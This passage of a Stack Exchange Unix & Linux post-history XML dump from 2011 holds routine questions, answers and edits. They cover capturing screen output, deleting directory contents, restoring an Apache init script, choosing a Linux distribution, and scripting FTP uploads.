  <row Id="30920" PostHistoryTypeId="2" PostId="12601" RevisionGUID="b17d3935-7f74-4f21-aaac-60ac2bf132dd" CreationDate="2011-05-04T12:42:57.447" UserId="4001" Text="I have a `screen` instance running (a lot more actually, but only one that matters), and I would need to execute some code inside the `screen`, and get the result out to my script.&#xD;&#xA;&#xD;&#xA;The first part is quite easy, I just `screen -S session_name -X eval 'stuff &quot;$cmd&quot;\015'`.  &#xD;&#xA;(I'm no `screen` expert, I just modified [a line I found in a script](http://www.minecraftwiki.net/wiki/Server_startup_script), but I understand it... Not sure there's no better way to do it, though)&#xD;&#xA;&#xD;&#xA;The second part, getting out the output, is trickier. For my current need, I only need the last line, but it'd be better if I can get the whole output, whatever it's size *(for future uses)*." />
  <row Id="30921" PostHistoryTypeId="1" PostId="12601" RevisionGUID="b17d3935-7f74-4f21-aaac-60ac2bf132dd" CreationDate="2011-05-04T12:42:57.447" UserId="4001" Text="How to get the output inside `screen` out to a script ?" />
  <row Id="30922" PostHistoryTypeId="3" PostId="12601" RevisionGUID="b17d3935-7f74-4f21-aaac-60ac2bf132dd" CreationDate="2011-05-04T12:42:57.447" UserId="4001" Text="ébashàéscreenà" />
  <row Id="30923" PostHistoryTypeId="2" PostId="12602" RevisionGUID="38a126ca-bc51-463d-ba51-595dc5e0853b" CreationDate="2011-05-04T12:47:55.200" UserId="6921" Text="I'm using the development branch for about two years now, AFAIR since 2.6.28 and testing other WM/DE now and then out of curiosity, and so far:&#xD;&#xA;&#xD;&#xA;- It did not crash a single time, so fvwm-devel or fvwm-unstable is pretty useable on desktop. I only had one bug with dynamic menu, didn't notice when it's gone.&#xD;&#xA;&#xD;&#xA;- Literarily every other window manager seemed to lack this or that functionality, what I missed the most was keybindings contexts and conditional window placement.&#xD;&#xA;&#xD;&#xA;Sure, you can pick any 'modern' wm and try to configure it to meet your needs, probably work around some missing functionality with xbindkeys and/or xdotool, but fvwm is unique and you probably didn't mention some things which are essential for your workflow because you will only realize they were there when they will suddenly not work the way you expect them to in a modern window manager. &#xD;&#xA;&#xD;&#xA;Sorry if it sounds somewhat arrogant from someone who is a sort of newbie compared to you, but it's the way I see it so far.&#xD;&#xA;&#xD;&#xA;That said, new WMs worth trying are kwin (it has some interesting features like tabbing and tiling windows and compositing and is quite configurable, but I'm not sure how stable it is at the moment) and compiz, which can work as standalone window manager and has some really interesting plugins (I would mention 'group and tab windows' and 'window rules'), all the rest are either tiling, either *boxes or being developed for being as spectacular as possible." />
  <row Id="30924" PostHistoryTypeId="5" PostId="12555" RevisionGUID="85014e44-39f6-43a9-9382-18639c0d6e0d" CreationDate="2011-05-04T13:02:08.877" UserId="3513" Comment="added 125 characters in body" Text="I recently upgraded an openSUSE 11.3 install to 11.4 by downloading the DVD, burning it, &amp; chosing the upgrade option upon booting to it. I used all the upgrade defaults. Upon coming back up, I added the FreeNX zypper repository &amp; installed the latest FreeNX. Connecting via FreeNX works, but I'm not able to see any window menus on any of my applications. They get stuck to the top left corner of the screen &amp;/or they don't have the window border surrounding the window (as in the top bar that contains the minimize/maximize buttons).&#xD;&#xA;&#xD;&#xA;I've verified it's not a user problem because I created a new user &amp; logged in as the user for the first time &amp; it still happened to that user too.&#xD;&#xA;&#xD;&#xA;*** EDIT ***&#xD;&#xA;&#xD;&#xA;Client is OS X 10.6.7 using NX Client by NoMachine, ver 3.4.0-8.  I should also point out I have other servers running FreeNX that still work fine, none of which are openSUSE 11.4 however.  I think it is an openSUSE 11.4 specific problem.&#xD;&#xA;&#xD;&#xA;*** EDIT 2 ***&#xD;&#xA;&#xD;&#xA;Desktop environment on openSUSE is Gnome (whatever the standard is for 11.4).  Window manager is the default, so I guess Nautilus.&#xD;&#xA;&#xD;&#xA;I should point out that it works fine locally &amp; with VNC, so it must be a FreeNX problem...&#xD;&#xA;&#xD;&#xA;*** EDIT 3 ***&#xD;&#xA;&#xD;&#xA;This is what I'm seeing:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/s0GBF.png" />
  <row Id="30925" PostHistoryTypeId="2" PostId="12603" RevisionGUID="1b7db31d-c589-49da-9e0d-6a7cf9e50d0b" CreationDate="2011-05-04T13:07:08.503" UserId="2567" Text="With some configuration you could get xfce to do what you want." />
  <row Id="30926" PostHistoryTypeId="2" PostId="12604" RevisionGUID="4110d875-c731-4a07-9448-ea0d0c0d54bd" CreationDate="2011-05-04T13:11:47.480" UserId="2629" Text="You could start `screen` with the `-L` option.  This will cause screen to create a file `screenlog.n` (the n part is numerical, starting with a zero) in the current working directory.&#xD;&#xA;&#xD;&#xA;In your case this would look something like: `screen -S session_name -L -X eval 'stuff &quot;$cmd&quot;\015'`&#xD;&#xA;&#xD;&#xA;As long as you remember to clean up afterwards, this should match what you are after.&#xD;&#xA;&#xD;&#xA;For last line of the log, it can easily be obtained with `tail -1 screenlog.0`, or the entire log can be parsed however you wish." />
  <row Id="30928" PostHistoryTypeId="5" PostId="12598" RevisionGUID="5534ec35-8290-4830-a2cd-e02b4d65494e" CreationDate="2011-05-04T13:38:40.633" UserId="1925" Comment="added 510 characters in body" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling.&#xD;&#xA;&#xD;&#xA;As an extra note, you don't usually need to mess with the files in /etc/init.d yourself. There is a tool that takes care of running those scripts for you. For example to restart apache you could run `service apache2 restart`.&#xD;&#xA;&#xD;&#xA;**Edited based on information found in comments**&#xD;&#xA;&#xD;&#xA;The init script is part of a sub-package. Installing a package for the first time will install it's dependencies, but uninstalling it will just uninstall the package, not it's dependencies. The init script that you manually removed belongs to the `apache2.2-common` package with was a dependency of the main `apache2` package name. Removing apache2 even with `--purge` would have no effect on the init script because it's part of a different package. To get it back run `apt-get install --reinstall apache2.2-common`.&#xD;&#xA;&#xD;&#xA;**Edit2**&#xD;&#xA;&#xD;&#xA;Apparently Debian is wacky. I replicated the problem on a test system and was unable to get the init script back with the package manager. I found several other people with the same problem out on the web, and it looks like the solution is to manually download the package, extract it, and rip the file out like this:&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    aptitude download apache2.2-common&#xD;&#xA;    dpkg --extract apache2.2-common_*.deb apache2.2-common&#xD;&#xA;    sudo cp apache2.2-common/etc/init.d/apache2 /etc/init.d" />
  <row Id="30930" PostHistoryTypeId="5" PostId="12534" RevisionGUID="0e7e808a-0c39-407f-ad5a-192e8a6b72e9" CreationDate="2011-05-04T13:49:27.353" UserId="1925" Comment="Edited for correctness and completeness based on discussion in comments." Text="The `dd` command includes LOTS of options that cat is not able to accommodate. Perhaps in your usage cases cat is a workable substitute, but it is not a dd replacement.&#xD;&#xA;&#xD;&#xA;One example would be using `dd` to copy part of something but not the whole thing. Perhaps you want to rip out some of the bits from the middle of an iso image or the partition table from a hard drive based on a known location on the device. With `dd` you can specify the start, stop and quantity options that allow these actions.&#xD;&#xA;&#xD;&#xA;These options of `dd` make it indispensable for fine grained data manipulation whereas `cat`\* can only operate on whole file objects, devices or streams.&#xD;&#xA;&#xD;&#xA;\*As noted by Gilles in the comments, it is possible to combine `cat` with other tools to isolate parts of something, but `cat` still operates on the whole object." />
  <row Id="30932" PostHistoryTypeId="5" PostId="12554" RevisionGUID="626876e2-bfd9-4bcb-9ed7-51172997b9a3" CreationDate="2011-05-04T13:59:41.137" UserId="6507" Comment="Added comment." Text="Use ls -F to see a star at the end of filename.  You can set the environment variable LS_OPTIONS to automatically include this and any other number of options for you.  The commands for ls are listed in the ls man page, to see them run:  man ls &#xD;&#xA;&#xD;&#xA;@brewer2:  setting environment variables on login is shell specific and a good question in itself." />
  <row Id="30933" PostHistoryTypeId="2" PostId="12606" RevisionGUID="b7d16c93-ff81-447c-ab8c-cc43ed35265a" CreationDate="2011-05-04T14:15:47.860" UserId="7201" Text="My server executes third party software which processes user submitted files. I want to block outgoing connections from my process. How can I do it in FreeBSD?" />
  <row Id="30934" PostHistoryTypeId="1" PostId="12606" RevisionGUID="b7d16c93-ff81-447c-ab8c-cc43ed35265a" CreationDate="2011-05-04T14:15:47.860" UserId="7201" Text="How to block outgoing connections from process/user on FreeBSD?" />
  <row Id="30935" PostHistoryTypeId="3" PostId="12606" RevisionGUID="b7d16c93-ff81-447c-ab8c-cc43ed35265a" CreationDate="2011-05-04T14:15:47.860" UserId="7201" Text="énetworkingàésecurityàéfreebsdà" />
  <row Id="30936" PostHistoryTypeId="5" PostId="12527" RevisionGUID="05ace7dc-9634-47eb-a50b-469e593e241d" CreationDate="2011-05-04T14:18:08.717" UserId="252" Comment="Added suggestion from Caleb" Text="Why not use vim?&#xD;&#xA;&#xD;&#xA;Open all files in vim&#xD;&#xA;&#xD;&#xA;    vim $(find . -type f)&#xD;&#xA;&#xD;&#xA;Or open only relevant files (as suggested by Caleb)&#xD;&#xA;&#xD;&#xA;    vim $(grep 'from' . -Rl)&#xD;&#xA;&#xD;&#xA;And do then run the replace in all buffers&#xD;&#xA;&#xD;&#xA;    :bufdo %s/from/to/g*c* | update&#xD;&#xA;&#xD;&#xA;You can also do it with `sed`, but my sed knowledge is limited." />
  <row Id="30937" PostHistoryTypeId="5" PostId="12505" RevisionGUID="973cd847-532b-4d31-a89c-4e53ab616851" CreationDate="2011-05-04T14:47:03.357" UserId="2703" Comment="added 497 characters in body" Text="I have a certain Linux executable that is called from a bigger application to perform some calculations. I want to modify the way the calculations are performed, for that I first need to understand how the executable is called and in what way the parameters and data are transferred.&#xD;&#xA;&#xD;&#xA;So, I'd like to monitor the command line parameters, stdin and stdout if this executable is called. The normal operation of the executable should not be disturbed.&#xD;&#xA;&#xD;&#xA;Is there an easy way to do that?&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;I tried the shell script placeholder idea to grab all the data using the following script:&#xD;&#xA;&#xD;&#xA;    #/bin/bash&#xD;&#xA;    export LOGFILE=/tmp/logname&#xD;&#xA;    echo &quot;$@&quot; &gt;&gt; $LOGFILE-arguments&#xD;&#xA;    tee -a $LOGFILE-stdin | /path/to/real/executable | tee -a $LOGFILE-stdout&#xD;&#xA;&#xD;&#xA;Unfortunately the executable is called directly, in a way that does not work for shell scripts. I get an error message that the executable is in ascii, so I need somehow to do the same thing in a compiled executable. " />
  <row Id="30938" PostHistoryTypeId="2" PostId="12607" RevisionGUID="e5730eb1-d771-4b25-8857-e2c72fc73ed0" CreationDate="2011-05-04T14:51:36.393" UserId="5671" Text="I'd like to open all text files that are the result of a ls command using a text editor. How do i do this?" />
  <row Id="30939" PostHistoryTypeId="1" PostId="12607" RevisionGUID="e5730eb1-d771-4b25-8857-e2c72fc73ed0" CreationDate="2011-05-04T14:51:36.393" UserId="5671" Text="How do i open all files that are the result of a ls command?" />
  <row Id="30940" PostHistoryTypeId="3" PostId="12607" RevisionGUID="e5730eb1-d771-4b25-8857-e2c72fc73ed0" CreationDate="2011-05-04T14:51:36.393" UserId="5671" Text="éshellàélsàéioöredirectionà" />
  <row Id="30941" PostHistoryTypeId="2" PostId="12608" RevisionGUID="a7f6341f-a4cf-44ef-9485-83615199c55a" CreationDate="2011-05-04T14:52:43.070" UserId="3217" Text="I'm a CS undergraduate, and I'm a newbie to the Unix liked OSs. We used Fedora in our labs even though, I'm not mastered on it. I've installed Windows 7 on my laptop and I want to install this Unix based OS. &#xD;&#xA;&#xD;&#xA;This my laptop capabilities : &#xD;&#xA;Processor : Intel i3.&#xD;&#xA;Memory : 4GB DDR3 RAM.&#xD;&#xA;Storage : 320GB&#xD;&#xA;&#xD;&#xA;And, I think, other details are not needed. Are those capabilities is enough? If so, which distribution should I used? That should be comfortable to me since I'm a leaner, later, I'll changed it to more complex one!&#xD;&#xA;&#xD;&#xA;Thanks a lot.  " />
  <row Id="30942" PostHistoryTypeId="1" PostId="12608" RevisionGUID="a7f6341f-a4cf-44ef-9485-83615199c55a" CreationDate="2011-05-04T14:52:43.070" UserId="3217" Text="Need advice to install Unix-liked OS on my Laptop." />
  <row Id="30943" PostHistoryTypeId="3" PostId="12608" RevisionGUID="a7f6341f-a4cf-44ef-9485-83615199c55a" CreationDate="2011-05-04T14:52:43.070" UserId="3217" Text="élinuxàéusersàédualöbootàénewbieà" />
  <row Id="30944" PostHistoryTypeId="2" PostId="12609" RevisionGUID="cefe1018-0a25-41ac-a73e-64c09267bfa5" CreationDate="2011-05-04T14:56:36.480" UserId="1835" Text="It depends on some nuances of your text editor.  Advanced editors can probably handle opening multiple files from the command line in one instance. But say, for example, that your editor ($EDITOR in my examples below) can only open one at a time.  You should pipe the output of `ls` into `xargs`.  This also depends on the $EDITOR not taking over the TTY (so, using a graphical one)&#xD;&#xA;&#xD;&#xA;    ls *.c | xargs -rn 1 $EDITOR&#xD;&#xA;&#xD;&#xA;If you want to use a console editor, a shell loop might be more appropriate:&#xD;&#xA;&#xD;&#xA;    for i in $(ls *.c); do $EDITOR &quot;$i&quot;; done&#xD;&#xA;" />
  <row Id="30945" PostHistoryTypeId="2" PostId="12610" RevisionGUID="ff1fb233-d288-4fae-8fc7-c358f89666fc" CreationDate="2011-05-04T14:58:49.130" UserId="4485" Text="To delete hidden files, you have to specify:&#xD;&#xA;&#xD;&#xA;    rm -r images/* images/.*&#xD;&#xA;&#xD;&#xA;This will lead to an error like&#xD;&#xA;&#xD;&#xA;    rm: cannot remove `.' directory `images/.'&#xD;&#xA;    rm: cannot remove `..' directory `images/..'&#xD;&#xA;but it will delete hidden files.&#xD;&#xA;&#xD;&#xA;An approach without errormessage is, to use find/delete with mindepth. This is gnu-find. &#xD;&#xA;&#xD;&#xA;    find images -mindepth 1 -delete&#xD;&#xA;&#xD;&#xA;Your find may lack a -delete switch." />
  <row Id="30946" PostHistoryTypeId="5" PostId="12593" RevisionGUID="a27f49c0-9826-41d8-910d-35abd9c50b12" CreationDate="2011-05-04T15:08:20.693" UserId="73" Comment="deleted 2 characters in body; edited tags; edited title" Text="I am trying to remove all files and subfolders in a directory. I used `rm -r` to remove all files, but I want to remove all files *and* subfolders, but not the main directory itself.&#xD;&#xA;&#xD;&#xA;For example, I have a main directory like `images`. It has `header.png`, `footer.png`, and one subdirectory.&#xD;&#xA;&#xD;&#xA;Now I want to delete `header.png`, `footer.png` and the subdirectory, but not the `images` folder.&#xD;&#xA;&#xD;&#xA;How can I do this in linux?&#xD;&#xA;" />
  <row Id="30947" PostHistoryTypeId="4" PostId="12593" RevisionGUID="a27f49c0-9826-41d8-910d-35abd9c50b12" CreationDate="2011-05-04T15:08:20.693" UserId="73" Comment="deleted 2 characters in body; edited tags; edited title" Text="How to remove all the files in a directory?" />
  <row Id="30948" PostHistoryTypeId="6" PostId="12593" RevisionGUID="a27f49c0-9826-41d8-910d-35abd9c50b12" CreationDate="2011-05-04T15:08:20.693" UserId="73" Comment="deleted 2 characters in body; edited tags; edited title" Text="élinuxàédirectoryàérmà" />
  <row Id="30949" PostHistoryTypeId="25" PostId="12606" RevisionGUID="84232626-0656-40ce-a192-279a6a9f564d" CreationDate="2011-05-04T15:11:23.887" Comment="http://twitter.com/#!/StackUnix/status/65795667154579456" />
  <row Id="30950" PostHistoryTypeId="2" PostId="12611" RevisionGUID="c0e09501-3345-4180-bbdf-e39ee143bcb5" CreationDate="2011-05-04T15:12:43.850" UserId="1835" Text="That machine is more than capable of running a Linux-based OS.&#xD;&#xA;&#xD;&#xA;You will get a hundred different distribution recommendations.  Look for something geared towards a desktop: Ubuntu or Debian or Fedora perhaps." />
  <row Id="30951" PostHistoryTypeId="2" PostId="12612" RevisionGUID="d6d07c9d-57ff-45b7-9967-d919c76a7ed7" CreationDate="2011-05-04T15:22:08.443" UserId="6215" Text="I tried to slow down my CPU with `powernowd` and `cpufreq-selector`. I hoped that with lower frequency it will be less hot and I won't hear my fan every time I will run internet radio.&#xD;&#xA;I used the following commands&#xD;&#xA;&#xD;&#xA;    sudo cpufreq-selector -f 800000&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;sudo powernowd -m 0 -l 40 -u 60&#xD;&#xA;&#xD;&#xA;but this wasn't sufficient for more quiet laptop.&#xD;&#xA;&#xD;&#xA;My CPU is &#xD;&#xA;&#xD;&#xA;&gt; Intel(R) Pentium(R) M processor&#xD;&#xA;&gt; 1.60GHz&#xD;&#xA;&#xD;&#xA;Could you advise me how to make it more silent?&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;" />
  <row Id="30952" PostHistoryTypeId="1" PostId="12612" RevisionGUID="d6d07c9d-57ff-45b7-9967-d919c76a7ed7" CreationDate="2011-05-04T15:22:08.443" UserId="6215" Text="Slow down the CPU" />
  <row Id="30953" PostHistoryTypeId="3" PostId="12612" RevisionGUID="d6d07c9d-57ff-45b7-9967-d919c76a7ed7" CreationDate="2011-05-04T15:22:08.443" UserId="6215" Text="éhardwareàépowerömanagementàécpuà" />
  <row Id="30954" PostHistoryTypeId="2" PostId="12613" RevisionGUID="3d63e38f-7dcc-4bbe-85d1-40d97f7f86c9" CreationDate="2011-05-04T15:26:00.093" UserId="7202" Text="I'm looking for a way to automatically list all [X resources](http://en.wikipedia.org/wiki/X_resources) that are used in an application. To give you an example, for `xterm` I'd expect a list similar to the following but with *all* the resources that are used by &#xD;&#xA;`xterm`.&#xD;&#xA;&#xD;&#xA;     background&#xD;&#xA;     foreground&#xD;&#xA;     cursorColor&#xD;&#xA;     vt100.geometry&#xD;&#xA;     scrollBar&#xD;&#xA;     scrollTtyOutput&#xD;&#xA;     ...&#xD;&#xA;&#xD;&#xA;The method can work on the source code of the application but if it is possible to do it with only the application binary that would also be interesting." />
  <row Id="30955" PostHistoryTypeId="1" PostId="12613" RevisionGUID="3d63e38f-7dcc-4bbe-85d1-40d97f7f86c9" CreationDate="2011-05-04T15:26:00.093" UserId="7202" Text="Is there a way to find all X resources an application uses?" />
  <row Id="30956" PostHistoryTypeId="3" PostId="12613" RevisionGUID="3d63e38f-7dcc-4bbe-85d1-40d97f7f86c9" CreationDate="2011-05-04T15:26:00.093" UserId="7202" Text="éxorgàéx11à" />
  <row Id="30957" PostHistoryTypeId="2" PostId="12614" RevisionGUID="079267cc-79e1-46d2-bd16-00a3fa8f9af7" CreationDate="2011-05-04T15:29:14.877" UserId="3389" Text="I have a Guruplug.  The newer models have a (*VERY LOUD*) fan and I've not had lockup issues with it.  I've heard of people dismantling the device and installing heatsinks and putting it a larger enclosure, which is likely a good idea and something I will eventually do.  I can hear it over my Poweredge 2500.&#xD;&#xA;&#xD;&#xA;That being said, if you don't need two Gigabit Ethernet ports, get its predecessor, the Sheevaplug.  That never had overheating issues.&#xD;&#xA;&#xD;&#xA;I would also suggest you could get an old Pentium I era laptop (but one with an Ethernet port).  Should run quiet, not be too intrusive spacewise, and not take up too much electricity.  " />
  <row Id="30958" PostHistoryTypeId="2" PostId="12615" RevisionGUID="2cda5508-e51c-40ae-914b-69bda52e15e2" CreationDate="2011-05-04T15:38:58.347" UserId="1397" Text="Personally I would recommend that you look at a virtualization solution like VMware Workstation (if you have money for such a thing) or VirtualBox (if you don't).&#xD;&#xA;&#xD;&#xA;Going this way will give you a couple of capabilities that you don't otherwise have -- for example, you can run a couple of (small) instances at the same time, and you can quickly clone VMs.&#xD;&#xA;&#xD;&#xA;The other advantage is that your laptop will almost certainly run more efficiently with its windows-based drivers, probably giving you longer battery life.  Some hardware in the laptop might not be natively supported with Linux.  If you don't care about the unsupported hardware then this isn't an issue for you.&#xD;&#xA;&#xD;&#xA;The downside to doing it this way is that linux run in virtualization like this will be slower than if it ran directly on the hardware." />
  <row Id="30959" PostHistoryTypeId="2" PostId="12616" RevisionGUID="577991c8-2ab0-4afd-b289-4f890026ce10" CreationDate="2011-05-04T16:00:35.343" UserId="1875" Text="The following script *sometimes* gives me things like `can't remove a/b as it's not empty`&#xD;&#xA;&#xD;&#xA;    ssh -T user@host &lt;&lt;EOF&#xD;&#xA;      cd somewhere&#xD;&#xA;      rm -rf a/b    &#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;But I log in to the server and execute `rm -rf a/b` then I never had the problem.&#xD;&#xA;&#xD;&#xA;There are other processes that are generating files to `a/b`, is that related?&#xD;&#xA;&#xD;&#xA;Anyway, how to make a script that will ensure &quot;a/b&quot; will be deleted? " />
  <row Id="30960" PostHistoryTypeId="1" PostId="12616" RevisionGUID="577991c8-2ab0-4afd-b289-4f890026ce10" CreationDate="2011-05-04T16:00:35.343" UserId="1875" Text="What's the reason that &quot;rm -rf a/b&quot; says &quot;a/b is not empty&quot; ?" />
  <row Id="30961" PostHistoryTypeId="3" PostId="12616" RevisionGUID="577991c8-2ab0-4afd-b289-4f890026ce10" CreationDate="2011-05-04T16:00:35.343" UserId="1875" Text="érmà" />
  <row Id="30962" PostHistoryTypeId="2" PostId="12617" RevisionGUID="b5445d2e-4a8c-4e37-9ebc-36640eb3a528" CreationDate="2011-05-04T16:02:05.623" UserId="7077" Text="As a learner you want to look out at something you can adjust to easily and also give you the same user experience as you would get in windows, i would suggest you install OpenSUSE 11.x or 10.x , its a neat OS and it shouldn't give you too much grief learning the ropes.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30963" PostHistoryTypeId="2" PostId="12618" RevisionGUID="7fa5789e-6564-427e-952d-073fbd97be8a" CreationDate="2011-05-04T16:16:38.823" UserId="6215" Text="I often read some text with images and often happens that the text talks about an image that is on the next page and next page and previous page and I have to go back and forward and usually forget where I paused reading.&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;I got an idea to save the images to image clipboard which is able to contain about 5 images (e.g. with making small screenshot of the screen area). While reading when the text talks &quot;see picture 10.4 (on page 42)&quot; and in a few seconds &quot;compare it to picture 10.2 (on page 40)&quot; I could press only keyboard shortcut and select the desired picture without browsing through the text.&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;Is this possible in X Window System? Or with some script?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30964" PostHistoryTypeId="1" PostId="12618" RevisionGUID="7fa5789e-6564-427e-952d-073fbd97be8a" CreationDate="2011-05-04T16:16:38.823" UserId="6215" Text="Clipboard for images" />
  <row Id="30965" PostHistoryTypeId="3" PostId="12618" RevisionGUID="7fa5789e-6564-427e-952d-073fbd97be8a" CreationDate="2011-05-04T16:16:38.823" UserId="6215" Text="éimageömanipulationàéclipboardà" />
  <row Id="30966" PostHistoryTypeId="5" PostId="12608" RevisionGUID="b6890166-e93f-4367-a6d7-b54e0fa1d137" CreationDate="2011-05-04T16:19:11.117" UserId="688" Comment="deleted 126 characters in body" Text="I'm a CS undergraduate, and I'm a newbie to the Unix liked OSs. We used Fedora in our labs, but I've not mastered it. I've installed Windows 7 on my laptop and I want to install this Unix-based OS.&#xD;&#xA;&#xD;&#xA;This my laptop capabilities:&#xD;&#xA;&#xD;&#xA;* Processor : Intel i3&#xD;&#xA;* Memory : 4GB DDR3&#xD;&#xA;* Storage : 320GB&#xD;&#xA;&#xD;&#xA;And, I think, other details are not needed. Are those capabilities is enough? If so, which distribution should I use?&#xD;&#xA;" />
  <row Id="30967" PostHistoryTypeId="2" PostId="12619" RevisionGUID="e38b6dad-ab32-493a-b2db-fc2a2303259c" CreationDate="2011-05-04T16:26:57.680" UserId="7203" Text="With Ubuntu pushing Unity, what distribution would you recommend if I just want to run Gnome 3 with the new Gnome shell?&#xD;&#xA;&#xD;&#xA;Personally, I'm interested in distributions which have the polish and support of Ubuntu, but feel free to recommend anything that makes it easy to run Gnome shell." />
  <row Id="30968" PostHistoryTypeId="1" PostId="12619" RevisionGUID="e38b6dad-ab32-493a-b2db-fc2a2303259c" CreationDate="2011-05-04T16:26:57.680" UserId="7203" Text="Good distribution for Gnome shell" />
  <row Id="30969" PostHistoryTypeId="3" PostId="12619" RevisionGUID="e38b6dad-ab32-493a-b2db-fc2a2303259c" CreationDate="2011-05-04T16:26:57.680" UserId="7203" Text="égnomeàédistrosà" />
  <row Id="30970" PostHistoryTypeId="2" PostId="12620" RevisionGUID="b53ffa9c-73de-4e97-a194-ff85964ced6c" CreationDate="2011-05-04T16:29:18.683" UserId="7204" Text="[editres](http://www.xfree86.org/current/editres.1.html)" />
  <row Id="30971" PostHistoryTypeId="2" PostId="12621" RevisionGUID="7927674a-991e-496f-b57e-b5089a68f331" CreationDate="2011-05-04T16:54:27.340" UserId="4856" Text="Fedora is an obvious choice. Frequent (6 month) releases, lots of community support, and on top of that its a pretty good operating system.&#xD;&#xA;&#xD;&#xA;Fedora 15 with Gnome 3 releases later this month, but you can download the beta now.&#xD;&#xA;&#xD;&#xA;[Fedora Project][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org" />
  <row Id="30972" PostHistoryTypeId="2" PostId="12622" RevisionGUID="80cf22c7-e96c-4a7e-a739-080c806c80ce" CreationDate="2011-05-04T16:57:14.250" UserId="2567" Text="It seems like the debian guys are working on this.&#xD;&#xA;&#xD;&#xA;* http://www.0d.be/debian/debian-gnome-3.0-status.html&#xD;&#xA;&#xD;&#xA;And maybe you can have a look a Linux Mint (the one that is based on Debian that is). &#xD;&#xA;&#xD;&#xA;* http://www.ainer.org/news/linux-mint-11-katya-with-gnome-3-announced" />
  <row Id="30973" PostHistoryTypeId="2" PostId="12623" RevisionGUID="ab84ef99-ee0c-41a1-8973-b3e7497b4813" CreationDate="2011-05-04T17:04:24.433" UserId="7205" Text="You only need two files and can d/l them directly from the tinycore web site - grab the kernel, bzImage and the initrd tinycore.gz from:&#xD;&#xA;&#xD;&#xA;http://distro.ibiblio.org/tinycorelinux/3.x/release/distribution_files/&#xD;&#xA;&#xD;&#xA;Their md5 checksums are &#xD;&#xA;d1a861de33cab5b477e3bb7aa7fdd5b7  bzImage&#xD;&#xA;e1b9a02d7b9fb4980d815e83883c2129  tinycore.gz&#xD;&#xA;&#xD;&#xA;Download those and point your grub entry at them and you're in business.  Check out the tinycore forums if you need further assistance - the folks there are very helpful:&#xD;&#xA;http://forum.tinycorelinux.net/&#xD;&#xA;&#xD;&#xA;I use Tinycore on a USB pendrive all the time and it just plain works.  I use the older grub, so I can't help specifically with grub4dos but it sounds like you've got a good handle on that part.&#xD;&#xA;&#xD;&#xA;Liam&#xD;&#xA;" />
  <row Id="30974" PostHistoryTypeId="2" PostId="12624" RevisionGUID="9bd63728-bacb-45ac-94f4-2835baec8e82" CreationDate="2011-05-04T17:15:32.370" UserId="7123" Text="problem solved: memory was broken. " />
  <row Id="30975" PostHistoryTypeId="2" PostId="12625" RevisionGUID="c45d5403-09e1-4cc8-9bad-5b3b794a681f" CreationDate="2011-05-04T17:19:03.537" UserId="3389" Text="USB drives have a chipset that converts USB mass-storage-device commands to IDE or SATA commands, which the drive then receives.  Cheap chipsets (which are the majority, I imagine) don't pass on commands correctly to the drive that aren't directly related to reading or writing data from the drive.  You are kind of at the mercy of that hardware with USB enclosures.&#xD;&#xA;&#xD;&#xA;Sounds like only the most significant bit of the that -S value is being read by the drive or controller (off (&gt;128) = power save mode, on (&lt;127) = high performance mode)&#xD;&#xA;&#xD;&#xA;You might get better feature support if your system has an eSATA port.  eSATA talks directly to the drive so there is no &quot;translation&quot; or bridging of commands needed.&#xD;&#xA;&#xD;&#xA;In my opinion, the best thing you can do to ensure a long life for a hard drive is:&#xD;&#xA;&#xD;&#xA;- clean power to the system, get a power-conditioning UPS&#xD;&#xA;- keep the device in a room with a steady ~70 degree temperature and low-humidity&#xD;&#xA;- minimize powering them on and off, but do power them down if not being used for an extended period of time&#xD;&#xA;- backups, backups, backups.&#xD;&#xA;&#xD;&#xA;I'd say put your money into a UPS and another drive for backup.  Do a RAID thing if you like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30976" PostHistoryTypeId="5" PostId="12573" RevisionGUID="a3625e5d-8219-4dd8-b7ec-b09f646cbb0a" CreationDate="2011-05-04T17:43:06.360" UserId="885" Comment="added 70 characters in body" Text="Not with the `ftp` programs I've run into, as they expect a script on their standard input but a shebang would pass the script name on their command line.&#xD;&#xA;&#xD;&#xA;You can use a [here document](http://en.wikipedia.org/wiki/Here_document) to pass a script to `ftp` through a shell wrapper.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    ftp &lt;&lt;EOF&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;[Lftp](http://lftp.yar.ru/) accepts a script name passed as an argument.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/lftp -f&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;&#xD;&#xA;[Ncftp](http://www.ncftpd.com/ncftp/) comes with two tools `ncftpget` and `ncftpput` for simple batches of gets or puts.&#xD;&#xA;&#xD;&#xA;[Zsh](http://www.zsh.org/) includes an [FTP module](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html#The-zsh_002fzftp-Module). Using a proper shell rather than a straight FTP script has the advantage that you can react to failures.&#xD;&#xA;&#xD;&#xA;    #!/bin/zsh&#xD;&#xA;    zmodload zsh/zftp&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;&#xD;&#xA;Of course there are plenty of other languages you could use: Perl, Python, Ruby, etc.&#xD;&#xA;&#xD;&#xA;Another approach is to mount the FTP server as a directory, and then use `cp` (or `rsync` or other tools) to copy files. There are many [FUSE](http://fuse.sourceforge.net/) filesystems for FTP access, principally [CurlFtpFS](http://curlftpfs.sourceforge.net/) and 